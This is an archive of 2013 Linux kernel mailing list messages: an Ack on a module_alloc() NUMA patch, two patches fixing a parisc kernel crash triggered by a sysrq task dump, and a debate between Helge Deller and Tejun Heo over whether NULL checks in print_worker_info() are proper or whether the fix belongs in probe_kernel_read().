Original-Received: by mail-pb0-f48.google.com with SMTP id ma3so5371364pbc.35
        for <linux-mm@kvack.org>; Tue, 24 Sep 2013 19:35:34 -0700 (PDT)
X-Gm-Message-State: ALoCoQm8kaz7b9rHipJDGBi4NbQL+3yZT8m6dPXO+hOWJzHaUNqBrAuYT+NKJhbRzacYVhhaEeqACq7so4Ju8+sop+YZ8XEdOyXJUQhW1pZQjdfwDuCXzRBriIWQgbgYIO7PxnvCL4GserpfGGnzMYFSHjQ0D+BAemNFWIWeGoeuQjXu3eKMpbLzgKHZBOcBrrrPIkENuWSrmM9MQSQqeeCNknQVqzxY3ySB230ga/FV0QV7rXVV7eP2celpUDW5qwGYmKxFA7umyDaxcvNg6XP1zalTyefePG5YEQrWhtQATsEZgCGFulbS/VzNVH91EoxESGieMSbxITW46VK5st5zwh5QX6P2lbZrMVSo3PtkNUaShZe9zltOryNV09yd/xnxWKalLbA78RD1x7vmuvk19bj9Hrh64nsdXWs6070s1ZdybA7tsdU=
X-Received: by 10.68.162.161 with SMTP id yb1mr44937pbb.202.1380076534272;
        Tue, 24 Sep 2013 19:35:34 -0700 (PDT)
X-Received: by 10.68.162.161 with SMTP id yb1mr44888pbb.202.1380076533629;
        Tue, 24 Sep 2013 19:35:33 -0700 (PDT)
Original-Received: from psmtp.com ([74.125.245.132])
        by mx.google.com with SMTP id sl4si6106189pac.184.1969.12.31.16.00.00;
        Tue, 24 Sep 2013 19:35:33 -0700 (PDT)
Received-SPF: pass (google.com: domain of rientjes@google.com designates 209.85.220.50 as permitted sender) client-ip=209.85.220.50;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of rientjes@google.com designates 209.85.220.50 as permitted sender) smtp.mail=rientjes@google.com;
       dkim=pass header.i=@google.com;
       dmarc=pass (p=REJECT dis=NONE) header.from=google.com
Original-Received: from mail-pa0-f50.google.com ([209.85.220.50]) (using TLSv1) by na3sys010amx132.postini.com ([74.125.244.10]) with SMTP;
	Wed, 25 Sep 2013 02:35:33 GMT
Original-Received: by mail-pa0-f50.google.com with SMTP id fb1so4557061pad.9
        for <linux-mm@kvack.org>; Tue, 24 Sep 2013 19:35:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:in-reply-to:message-id:references
         :user-agent:mime-version:content-type;
        bh=AhflUEd4YT8qJdlAS8DSYq4IC/dr4FSlchlZ3tb6ldw=;
        b=RbdkPbdLpj7mejCl2MpD0HF1IVMoXe+PrvcOGFINh3MXPS8agosplQchRTBuq3vQuQ
         vaPwCRmKT6UuTYSdjR2Gn2hqnEsMAyFKY4tWxLlU0Vq7TiLiivOynW2z07PuDRjLiSQ3
         4B+Z7YBQ5cFz0LBRW17/9ZAl1iSZ+w7ZklRit6nspnLTQlv7Je3So07UEcAnPM/MGLoK
         26HTENtnV1d62FC0krDz2u8PK2zMdAhHM6iDIecpnM7w0aiEGxhfUFZzYwze2XR9XqcZ
         rQPif1uMFeiWjijk8Hg60wxy3k+/3rTnl2QbO7MUbxQzW89pILxHGKT4zuHaIKNNAAj7
         7YOQ==
X-Received: by 10.66.226.46 with SMTP id rp14mr14532974pac.133.1380076531826;
        Tue, 24 Sep 2013 19:35:31 -0700 (PDT)
Original-Received: from [2620:0:1008:1101:be30:5bff:fed8:5e64] ([2620:0:1008:1101:be30:5bff:fed8:5e64])
        by mx.google.com with ESMTPSA id kd1sm49345619pab.20.1969.12.31.16.00.00
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 24 Sep 2013 19:35:31 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <524019D0.9070706@huawei.com>
User-Agent: Alpine 2.02 (DEB 1266 2009-07-14)
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-nxpr: disp=neutral, envrcpt=linux-mm@kvack.org
X-pstn-nxp: bodyHash=3c5bd43d19f629bc8f61726325a9650871d6839d, headerHash=af9a5426937c432ef77e9fc8222310a38c5ead3a, keyName=4, rcptHash=6d2b31af99661b1fd186b574a0dfe86458d91394, sourceip=209.85.220.50, version=1
X-pstn-nxpr: disp=neutral, envrcpt=linux-mm@kvack.org
X-pstn-nxp: bodyHash=3c5bd43d19f629bc8f61726325a9650871d6839d, headerHash=af9a5426937c432ef77e9fc8222310a38c5ead3a, keyName=4, rcptHash=6d2b31af99661b1fd186b574a0dfe86458d91394, sourceip=209.85.220.50, version=1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:107267 gmane.linux.kernel:1567109 gmane.linux.ports.arm.kernel:268772 gmane.linux.ports.mips.general:39083 gmane.linux.ports.parisc:5340 gmane.linux.ports.sparc:18250
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/107267>

On Mon, 23 Sep 2013, Jianguo Wu wrote:

> Use more appropriate NUMA_NO_NODE instead of -1 in all archs' module_alloc()
> 
> Signed-off-by: Jianguo Wu <wujianguo@huawei.com>
> Acked-by: Ralf Baechle <ralf@linux-mips.org>

Acked-by: David Rientjes <rientjes@google.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix interruption handler to respect
 pagefault_disable()
Date: Tue, 1 Oct 2013 21:54:46 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20131001195446.GA29580@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1380657315 24017 80.91.229.3 (1 Oct 2013 19:55:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 19:55:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 01 21:55:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR62O-0003Kd-3s
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Oct 2013 21:55:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751251Ab3JATzP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 15:55:15 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55704 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750881Ab3JATzO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 15:55:14 -0400
Original-Received: from p100.box ([84.173.31.92]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M8pKi-1VYl0t3nhM-00CAG6 for
 <linux-parisc@vger.kernel.org>; Tue, 01 Oct 2013 21:55:12 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:qlHBJdyi/HP5/G9uRJR2UUXP81ug997X/etEXZu76IaoLYKVqFk
 HlYx9t+v+Ke6+xXjpn08qre3Dvxl8ERJzfVP8j1l2qwRYyQfXQ5Xr3a2quC6qlPRL5eDjSS
 9JlutmKkp/tc5JB9xnAUpocxyYMqyhuLvXShUxPggB7bL4QEgnknNL9ODzbZOS1SH3kqgKa
 NBPsaUgAHXg6aIYMxUq0w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5341>

Running an "echo t > /proc/sysrq-trigger" crashes the parisc kernel.  The
problem is, that in print_worker_info() we try to read the workqueue info via
the probe_kernel_read() functions which use pagefault_disable() to avoid
crashes like this:
    probe_kernel_read(&pwq, &worker->current_pwq, sizeof(pwq));
    probe_kernel_read(&wq, &pwq->wq, sizeof(wq));
    probe_kernel_read(name, wq->name, sizeof(name) - 1);

The problem here is, that the first probe_kernel_read(&pwq) might return zero
in pwq and as such the following probe_kernel_reads() try to access contents of
the page zero which is read protected and generate a kernel segfault. 

With this patch we fix the interruption handler to call parisc_terminate()
directly only if pagefault_disable() was not called (in which case
preempt_count()==0).  Otherwise we hand over to the pagefault handler which
will try to look up the faulting address in the fixup tables.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: <stable@vger.kernel.org> # v3.0+

diff --git a/arch/parisc/include/asm/traps.h b/arch/parisc/include/asm/traps.h
index 1945f99..4736020 100644
--- a/arch/parisc/include/asm/traps.h
+++ b/arch/parisc/include/asm/traps.h
@@ -6,7 +6,7 @@ struct pt_regs;
 
 /* traps.c */
 void parisc_terminate(char *msg, struct pt_regs *regs,
-		int code, unsigned long offset);
+		int code, unsigned long offset) __noreturn __cold;
 
 /* mm/fault.c */
 void do_page_fault(struct pt_regs *regs, unsigned long code,
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 04e47c6..b3f87a3 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -805,14 +805,14 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	else {
 
 	    /*
-	     * The kernel should never fault on its own address space.
+	     * The kernel should never fault on its own address space,
+	     * unless pagefault_disable() was called before.
 	     */
 
-	    if (fault_space == 0) 
+	    if (fault_space == 0 && !in_atomic())
 	    {
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		parisc_terminate("Kernel Fault", regs, code, fault_address);
-	
 	    }
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 1 Oct 2013 22:35:20 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20131001203520.GA8248@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1380659726 18773 80.91.229.3 (1 Oct 2013 20:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 20:35:26 +0000 (UTC)
To: Tejun Heo <tj@kernel.org>, Libin <huawei.libin@huawei.com>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 01 22:35:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR6fH-0001Ww-6v
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Oct 2013 22:35:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752342Ab3JAUf0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 16:35:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50251 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751493Ab3JAUfZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 16:35:25 -0400
Original-Received: from p100.box ([84.173.31.92]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Lm2lZ-1W0AV00DYH-00ZjFL for
 <linux-parisc@vger.kernel.org>; Tue, 01 Oct 2013 22:35:23 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:suYwB9LFadVZIivJX4B/qWw9jDKQ/3TDiEhFLDCZcH27BCeditF
 YdFe7XEsyvUtL1Jzv0y9BNWd63vYRUlfLRICCqLPbPxpDOs09gN1ANwWhc63ThleK5ASMDt
 JO/UBNfCSlvOIlvVYLDcwFSf51/CN7FDYP05QBnil3XWkl2pzT81DEWw5sfwEOuxBnPdDmf
 8A6zifUfOmv0DwJNjYGWA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5342 gmane.linux.kernel:1571021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5342>

print_worker_info() includes no validity check on the pwq and wq
pointers before handing them over to the probe_kernel_read() functions.

It seems that most architectures don't care about that, but at least on
the parisc architecture this leads to a kernel crash since accesses to
page zero are protected by the kernel for security reasons.

Fix this problem by verifying the contents of pwq and wq before usage.
Even if probe_kernel_read() usually prevents such crashes by disabling
page faults, clean code should always include such checks. 

Without this fix issuing "echo t > /proc/sysrq-trigger" will immediately
crash the Linux kernel on the parisc architecture.

CC: Tejun Heo <tj@kernel.org>
CC: Libin <huawei.libin@huawei.com>
CC: linux-parisc@vger.kernel.org
CC: James.Bottomley@HansenPartnership.com
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/kernel/workqueue.c b/kernel/workqueue.c
index 987293d..c03b47f 100644
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -4512,8 +4512,10 @@ void print_worker_info(const char *log_lvl, struct task_struct *task)
 	 */
 	probe_kernel_read(&fn, &worker->current_func, sizeof(fn));
 	probe_kernel_read(&pwq, &worker->current_pwq, sizeof(pwq));
-	probe_kernel_read(&wq, &pwq->wq, sizeof(wq));
-	probe_kernel_read(name, wq->name, sizeof(name) - 1);
+	if (pwq)
+		probe_kernel_read(&wq, &pwq->wq, sizeof(wq));
+	if (wq)
+		probe_kernel_read(name, wq->name, sizeof(name) - 1);
 
 	/* copy worker description */
 	probe_kernel_read(&desc_valid, &worker->desc_valid, sizeof(desc_valid));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 1 Oct 2013 16:43:52 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20131001204352.GA27149@mtj.dyndns.org>
References: <20131001203520.GA8248@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1380660246 24586 80.91.229.3 (1 Oct 2013 20:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 20:44:06 +0000 (UTC)
Cc: Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 01 22:44:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR6ng-00078w-UQ
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Oct 2013 22:44:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751418Ab3JAUoI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 16:44:08 -0400
Original-Received: from mail-qe0-f44.google.com ([209.85.128.44]:56724 "EHLO
	mail-qe0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751403Ab3JAUoH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 16:44:07 -0400
Original-Received: by mail-qe0-f44.google.com with SMTP id 3so5496990qeb.31
        for <multiple recipients>; Tue, 01 Oct 2013 13:44:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=32raiWGwkBw024N07qaY4W+e/7mcc89O1IwEDSMuRWA=;
        b=O/gvk9L+g2AwQFW2sXrtKGbgE8A3/wCzcEwE+2soSFkwx1lm7nOB5iEzltvVzXrpea
         6FE4xm1SQVcdSwIIC7gGyicEONHT5bNiUdJMKlxAiIcdzMFG8SccnMaIhLmnwLfaGSpf
         gCA6kz/7ZituMwxonKJKNArHTTRqUBPqRDeYD27ULSxycB+LKJ4aqnDyy1+QAY9il+LM
         UhlvlzJYF/13/I8EM1REloT8UpR6F9PFWmKXrYo6P+JI4URYjlvQljAeS9yRdzW6/M6z
         KQPRDHT8NdNBLPs1XB37n5gUBteWWU8JTF23wzVQyLVHzfQCckPqrPAcss13q6AqOZvY
         YPQQ==
X-Received: by 10.229.191.7 with SMTP id dk7mr38239228qcb.4.1380660245518;
        Tue, 01 Oct 2013 13:44:05 -0700 (PDT)
Original-Received: from mtj.dyndns.org (nat-pool-rdu-u.redhat.com. [66.187.233.203])
        by mx.google.com with ESMTPSA id h2sm15412695qev.0.1969.12.31.16.00.00
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Tue, 01 Oct 2013 13:44:03 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20131001203520.GA8248@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5343 gmane.linux.kernel:1571027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5343>

Hello,

On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
> print_worker_info() includes no validity check on the pwq and wq
> pointers before handing them over to the probe_kernel_read() functions.
> 
> It seems that most architectures don't care about that, but at least on
> the parisc architecture this leads to a kernel crash since accesses to
> page zero are protected by the kernel for security reasons.
> 
> Fix this problem by verifying the contents of pwq and wq before usage.
> Even if probe_kernel_read() usually prevents such crashes by disabling
> page faults, clean code should always include such checks. 
> 
> Without this fix issuing "echo t > /proc/sysrq-trigger" will immediately
> crash the Linux kernel on the parisc architecture.

Hmm... um had similar problem but the root cause here is that the arch
isn't implementing probe_kernel_read() properly.  We really have no
idea what the pointer value may be at the dump point and that's why we
use probe_kernel_read().  If something like the above is necessary for
the time being, the correct place would be the arch
probe_kernel_read() implementation.  James, would it be difficult
implement proper probe_kernel_read() on parisc?

Thanks.

-- 
tejun
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in print_worker_info()
 before use
Date: Tue, 01 Oct 2013 22:53:31 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <524B364B.3010405@gmx.de>
References: <20131001203520.GA8248@p100.box> <20131001204352.GA27149@mtj.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1380660823 31934 80.91.229.3 (1 Oct 2013 20:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 20:53:43 +0000 (UTC)
Cc: Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 01 22:53:45 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VR6ww-0007O8-Do
	for glk-linux-kernel-3@plane.gmane.org; Tue, 01 Oct 2013 22:53:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751773Ab3JAUxg (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 1 Oct 2013 16:53:36 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64716 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751239Ab3JAUxe (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 1 Oct 2013 16:53:34 -0400
Original-Received: from [192.168.178.60] ([84.173.31.92]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0M1iGk-1VgAn02Yos-00tmW4 for
 <linux-kernel@vger.kernel.org>; Tue, 01 Oct 2013 22:53:33 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130923 Thunderbird/17.0.9
In-Reply-To: <20131001204352.GA27149@mtj.dyndns.org>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:fofqTY+cRsAyseVXYsniwZp0591jNOigZeyMLZR0Rtpj6wLneD4
 G+Dx9Cq70QSeDT7b1ROv6+HRb3xcH9cDDwmWvz7rxxr5LfJ9+nbotGoDpRuG4YnCtyeXijs
 ozmZmESgQVQTa2lUgD9rVUs8Q0FSd2IpB4NifdU4BAJfe3RLewjqxViprIniox0HuYp72Ta
 GiZXax8P5LADhx4h/GVGA==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1571035 gmane.linux.ports.parisc:5344
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1571035>

On 10/01/2013 10:43 PM, Tejun Heo wrote:
> Hello,
> 
> On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
>> print_worker_info() includes no validity check on the pwq and wq
>> pointers before handing them over to the probe_kernel_read() functions.
>>
>> It seems that most architectures don't care about that, but at least on
>> the parisc architecture this leads to a kernel crash since accesses to
>> page zero are protected by the kernel for security reasons.
>>
>> Fix this problem by verifying the contents of pwq and wq before usage.
>> Even if probe_kernel_read() usually prevents such crashes by disabling
>> page faults, clean code should always include such checks. 
>>
>> Without this fix issuing "echo t > /proc/sysrq-trigger" will immediately
>> crash the Linux kernel on the parisc architecture.
> 
> Hmm... um had similar problem but the root cause here is that the arch
> isn't implementing probe_kernel_read() properly.  We really have no
> idea what the pointer value may be at the dump point and that's why we
> use probe_kernel_read().  If something like the above is necessary for
> the time being, the correct place would be the arch
> probe_kernel_read() implementation.  James, would it be difficult
> implement proper probe_kernel_read() on parisc?

No, it's not really complicated.
That was my initial way to work around that problem.

But is this really necessary? Isn't a pointer which points to mem zero most
likely wrong on any architecture?

In addition I wrote another patch to work around that problem in the parisc
page fault handler (which is needed anyway) too:
https://patchwork.kernel.org/patch/2971701/

So, in summary my patch here is not really necessary, but for the sake of
clean code I think it doesn't hurt either and as such it would be nice if
you could apply it.

Helge

From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 1 Oct 2013 17:03:48 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20131001210348.GB27149@mtj.dyndns.org>
References: <20131001203520.GA8248@p100.box>
 <20131001204352.GA27149@mtj.dyndns.org>
 <524B364B.3010405@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1380661433 5377 80.91.229.3 (1 Oct 2013 21:03:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 21:03:53 +0000 (UTC)
Cc: Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 01 23:03:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR76o-0005ZS-Qd
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Oct 2013 23:03:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751333Ab3JAVDy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 17:03:54 -0400
Original-Received: from mail-ye0-f182.google.com ([209.85.213.182]:65179 "EHLO
	mail-ye0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751303Ab3JAVDx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 17:03:53 -0400
Original-Received: by mail-ye0-f182.google.com with SMTP id l10so2354679yen.41
        for <multiple recipients>; Tue, 01 Oct 2013 14:03:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=I1VGqA9PrqPgrKMCZVGDh497GzgeRuEAztUA5iTPff0=;
        b=A9ENkvXML7XmCZePissyMoUXlaZXISb0M3OP5T0EyHQoAzrxUTEMtQVhdoG7YTclBa
         u8Gf4jqR2I8h1TbH7MfK5ThbsWeygp8VmM1kkk1glKLF//AJmcdoesyYNXBUO/CeUpp3
         pQCll/Ujz8ucRWIJTA+VwI597JwU345TcTsdB9sYYqBGne9eZFpaVj9/jGULfq1BKzmh
         4Hp4V0rJkddfzP18/OQC1r/8Apd4ltYveoItHgaIGoDzWCqH1ercniY7wc6fUB+0mjHK
         YvRu8glsTgCcGQgVod7uYOCsvDC4AsqdW+DLDFuRS0fvOETenvpDFd9rgiieytsCfm/Y
         4ffQ==
X-Received: by 10.236.123.208 with SMTP id v56mr30888518yhh.14.1380661433086;
        Tue, 01 Oct 2013 14:03:53 -0700 (PDT)
Original-Received: from mtj.dyndns.org (nat-pool-rdu-u.redhat.com. [66.187.233.203])
        by mx.google.com with ESMTPSA id s20sm12551003yhi.0.1969.12.31.16.00.00
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Tue, 01 Oct 2013 14:03:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <524B364B.3010405@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5345 gmane.linux.kernel:1571039
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5345>

On Tue, Oct 01, 2013 at 10:53:31PM +0200, Helge Deller wrote:
> So, in summary my patch here is not really necessary, but for the sake of
> clean code I think it doesn't hurt either and as such it would be nice if
> you could apply it.

What? function *must* take any value and try to access it and not
cause failure.  That's the *whole* purpose of that interface.  How is
having incomplete spurious checks around it "clean code" in any sense
of the word?  That doesn't make any sense.

